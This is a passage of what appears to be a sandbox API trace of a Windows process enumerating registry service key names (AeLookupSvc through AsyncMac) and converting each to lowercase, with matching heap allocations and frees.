[0259.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0259.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.848] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0259.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0259.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.848] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0259.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0259.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.848] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0259.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0259.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.849] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0259.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0259.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.849] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0259.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0259.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.849] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0259.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0259.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.849] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0259.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0259.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0259.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0259.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0259.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0259.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0259.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0259.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0259.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0259.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0259.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0259.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0259.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0259.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0259.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0259.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0259.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0259.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0259.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0259.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0259.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0259.852] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.852] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0259.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0259.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0259.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1d60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0259.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0259.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0259.853] 